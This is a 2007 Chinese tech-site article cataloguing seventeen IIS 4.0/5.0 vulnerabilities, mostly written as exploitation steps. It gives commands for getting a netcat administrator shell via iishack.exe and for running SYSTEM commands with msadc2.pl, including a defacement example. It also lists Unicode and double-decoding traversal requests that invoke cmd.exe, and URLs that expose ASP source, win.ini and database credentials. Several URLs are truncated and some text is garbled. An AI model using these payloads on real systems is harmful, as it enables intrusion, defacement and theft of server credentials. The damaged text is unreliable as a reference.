ReadyGo!技术成就梦想 >> 网络应用 >> 组网维护 >> iis的十七个常见漏洞

iis的十七个常见漏洞

ReadyGo!技术成就梦想 网上整理 efish 2007-4-13 16:45:42


1. iis4hack缓冲溢出

主要存在于.htr,.idc和.stm文件中,其对关于这些文件的url请求 
没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序 
在系统中下载和执行程序。 

要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到下面 
的站点www.technotronic.com去下载,另外你?..己的web服务器。 

你现在你自己的web服务器上运行web服务程序并把ncx.exe放到你自己相应 
的目录下,然后使用iishack.exe来检查目标机器: 
c:\\>iishack.exe  80 /ncx.exe 
然后你就使用netcat来连接你要检测的服务器: 
c:\\>nc  80 
如果溢出点正确你就可以看到目标机器的命令行提示,并且是管理远权限。 

利用程序见iis4hack.zip 

2.msadc 

iis的mdac组件存在一个漏洞可以导致攻击者远程执行 
你系统的命令。主要核心问题是存在于rds datafactory,默认情况下, 
它允许远程命令发送到iis服务器中,这命令会以设备用户的身份运行, 
其一般默认情况下是system用户。 

利用程序为msadc2.pl,我们看看它的help 

$ perl msadc2.pl -h 
-- rds smack v2 - rain forest puppy / adm / wiretrip -- 

usage: msadc.pl -h  { -d  -x -v } 
-h  = host you want to scan (ip or domain) 
-d  = delay between calls, default 1 second 
-x = dump index server path table, if available 
-n = query vbbusobj for netbios name 
-v = use vbbusobj instead of activedatafactory 
-v = verbose 
-e = external dictionary file for step 5 
-u <\\\\host\\share\\file> = use unc file 
-w = windows 95 instead of windows nt 
-c = v1 compatibility (three step query) 
-s  = run only step  

or a -r will resume a (v2) command session 

$ perl msadc2.pl -http://www.targe.com/ ;
-- rds smack v2 - rain forest puppy / adm / wiretrip -- 
type the command line you want to run (cmd /c assumed): 
cmd /c 

如果出现cmd /c后,直接键入命令行,就可以以system权限执行命令了。比如xundi教的: 
echo hacked by me > d:\\inetpub\\wwwroot\\victimweb\\index.htm 

3.codebrws.asp 

察看文件源代码 
http://www.victim.com/iisamples/exa...ks/codebrws.asp ;

4.showcode.asp 

察看文件源代码 
http://www.victim.com/msadc/samples..../winnt/win.ini ;

5.null.htw 

察看文件源代码 
http://www.victim.com/null.htw?ciwe...hilitetype=full ;

6.webhits.dll & .htw 

hit-highligting功能是由index server提供的允许一个web用户在 
文档上highlighted(突出)他们原妓阉鞯奶跄浚飧鑫牡档拿滞ü?
变量ciwebhitsfile传递给.htw文件,webhits.dll是一个isapi应用程序 
来处理请求,打开文件并返回结果,当用户控制了ciwebhitsfile参数传递 
给.htw时,他们就可以请求任意文件,结果就是导致查看asp源码和其他 
脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目: 

http://www.victim.com/nosuchfile.htw ;

如果你从服务器端获得如下信息: 

format of the query_string is invalid 

这就表示你存在这个漏洞。 

这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消 
这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw 
文件,一般会发现如下的程序: 

/iissamples/issamples/oop/qfullhit.htw 
/iissamples/issamples/oop/qsumrhit.htw 
/isssamples/exair/search/qfullhit.htw 
/isssamples/exair/search/qsumrhit.htw 
/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用) 

一个攻击者可以使用如下的方法来访问系统中文件的内容: 

http://www.victim.com/iissamples/is...p/qfullhit.htw? ;
ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full 

就会在有此漏洞系统中win.ini文件的内容。 7.asp alternate data streams(::$data) 

要查看一些.asp文件的内容,你可以请求如下的url: 
$data你就得到了源代码 

8.asp dot bug 

在请求的url结尾追加一个或者多个点导致泄露asp源代码。 
http://www.victim.com/sample.asp. ;

9.ism.dll 

这个漏洞是由cerberus information security team.最早发现的,它运行 
在iis4.0和5.0上面,允许攻击者查看任意文件内容和源代码。通过在文件 
名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给iis, 
会使iis认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ism.dll 
isapi应用程序,这样iis就把这个.htr请求转交给这个dll文件,然后ism.dll 
程序把传递过来的文件打开和执行,但在ism.dll 截断信息之前,缓冲区发送 
一个截断开的 .htr 并会有一些时间去返回一些你要打开的文件内容. 
除非 web 服务停止并重启过,否则这攻击只能有效执行一次。如果已经 
发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ism.dll 
第一次装入内存时工作.cnns发现追加+号到没有一次攻击这个问题,可以进行 
多次攻击。 

http://www.victim.com/global.asa%20%20(...<=230)global.asa.htr 

10. .idc & .ida bugs 

这个漏洞实际上类似asp dot 漏洞,其能在iis4.0上显示其web目录信息, 
很奇怪的说有些还在iis5.0上发现过此类漏洞,通过增加?idc?或者?ida? 
后缀到url会导致iis尝试允许通过数据库连接程序.dll来运行.idc,如果 
此.idc不存在,它就返回一些信息给客户端。 

http://www.victim.com/anything.idc ;或者 anything.idq 

11.+.htr bug 

对有些asa和asp追加+.htr的url请求就会导致文件源代码的泄露: 
http://www.victim.com/global.asa+.htr ;

12.nt site server adsamples 

通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者 
可能获得一些如数据库中的dsn,uid和pass的一些信息,如: 

http://www.victim.com/adsamples/config/site.csc ;

13./iisadmpwd 

iis4.0中包含一个有趣的特征就是允许远程用户攻击web服务器上的用户 
帐号,就是你的web服务器是通过nat来转换地址的,还可以被攻击。 

每个iis4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个 
.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制 
在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过web 
来修改用户的帐号和密码。这个目录物理映射在下面的目录下: 
c:\\winnt\\system32\\inetsrv\\iisadmpwd 
achg.htr 
aexp.htr 
aexp2.htr 
aexp2b.htr 
aexp3.htr 
aexp4.htr 
aexp4b.htr 
anot.htr 
anot3.htr 

这样,攻击者可以通过暴力来猜测你的密码。 

14.translate:f bug 

泄露asp文件源代码 
存在office 2000和frontpage 2000server extensions中的webdav中, 
当有人请求一个asp/asa后者其他任意脚本的时候在http get加上translate:f 
后缀,并在请求文件后面加/就会显示文件代码,当然在没有打win2k sp1补丁 
为前提。这个是w2k的漏洞,但由于fp2000也安装在iis4.0上,所以在iis4.0 
上也有这个漏洞。 
利用程序: trasn1.pl,trans2.pl 

15.unicode 
iis 4.0和iis 5.0在unicode字符解码的实现中存在 
一个安全漏洞,导致用户可以远程通过iis执行任意命令。当iis打开文件时, 
如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊 
的编码,将导致iis错误的打开或者执行某些web根目录以外的文件。 

http://www.victim.com/s cripts/..%c1.../cmd.exe?/c+dir 
http://www.victim.com/s cripts/..%c0.../cmd.exe?/c+dir 
http://www.victim.com/s cripts/..%c1.../cmd.exe?/c+dir 

http://www.victim.com/a.asp/..%c1%1..../winnt/win.ini ;

可能需要察看以下几个目录 

get /s cripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ http/1.0\\r\\n\\r\\n 
get /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ http/1.0\\r\\n\\r\\n 
get /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ http/1.0\\r\\n\\r\\n 
get /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ http/1.0\\r\\n\\r\\n 
get /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\\\\ http/1.0\\r\\n\\r\\n 

eeye开发了工具包iishack1.5针对这一漏洞进行测试 

16.iis5.0 缓冲溢出 

微软win 2k iis 5的打印isapi扩展接口建立了.printer扩展名到msw3prt.dll的映射关系,缺省情况下该映射存在。当远程用户提交对.printer的url请求时,iis 5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查,远程用户可以提交一个精心构造的针对.printer的url请求,其\"host:\"域包含大约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,web服务停止响应,win 2k可以检查到web服务停止响应,从而自动重启它,因此系统管理员很难意识到发生过攻击。 

利用程序见iis5hack.zip 

17.iis cgi文件名二次解码漏洞 

iis在加载可执行cgi程序时,会进行两次解码。第一次解码是对cgi文件名进行http解码,然后判断此文件名是否为可执行文件,例如检查后缀名是否为\".exe\"或\".com\"等等。在文件名检查通过之后,iis会再进行第二次解码。正常情况下,应该只对该cgi的参数进行解码,然而,iis错误地将已经解码过的cgi文件名和cgi参数一起进行解码。这样,cgi文件名就被错误地解码了两次。 通过精心构造cgi文件名,攻击者可以绕过iis对文件名所作的安全检查,例如对\"../\"或\"./\"的检查,在某些条件下,攻击者可以执行任意系统命令。 

例如,对于’\\’这个字符,正常编码后是%5c。这三个字符对应的编码为: 
’%’ = %25 
’5’ = %35 
’c’ = %63 

如果要对这三个字符再做一次编码,就可以有多种形式,例如: 
%255c 
%%35c 
%%35%63 
%25%35%63 
... 

因此,\"..\\\"就可以表示成\"..%255c\"或\"..%%35c\"等等形式。 

在经过第一次解码之后,变成\"..%5c\"。iis会认为这是一个正常的字符串,不会违反安全规则检查。而在第二次被解码之后,就会变成\"..\\\"。因此攻击者就可以使用\"..\\\"来进行目录遍历,执行web目录之外的任意程序。

相关文章
iis001_如何在iis中使用ssl 关于此问题的详细步骤可以参看以下文章1. howto: set up ssl using iis 5.0 and certificate server 2.0 (q..
端口--服务对照(一) http ======> port 80 (hyper text transfer protocol) ftp-data ==> port 20 (file transfer protoc..
入侵windows nt 如果要防范从远程对你的windows nt的入侵,最好的办法还是研究一下入侵的基本方法。只有做到“知己知彼”,..
利用cisco路由器建立企业网络的安.. 近几年来,计算机网络,特别是互联网的发展非常迅速,atm以及ip over dwdm技术的发展使网络传输的带宽快速增..
端口--服务对照(二) at-8 208/tcp appletalk unused at-8 208/udp appletalk unused tam 209/tcp trivial authenticated mail p..
流行的漏洞入侵(二) 4 sql攻击网站 这个也很方便,呵呵,上次在对美国大战中也有不少兄弟是用这种方法的,来看看吧 我们需要小榕的..
2秒记住本站域名

玩过泡泡龙吗?Readygo?Go! 再加上.Com.Cn的后缀,那就是大名小顶的ReadyGo.com.cn

分类导航
ReadyGo!技术成就梦想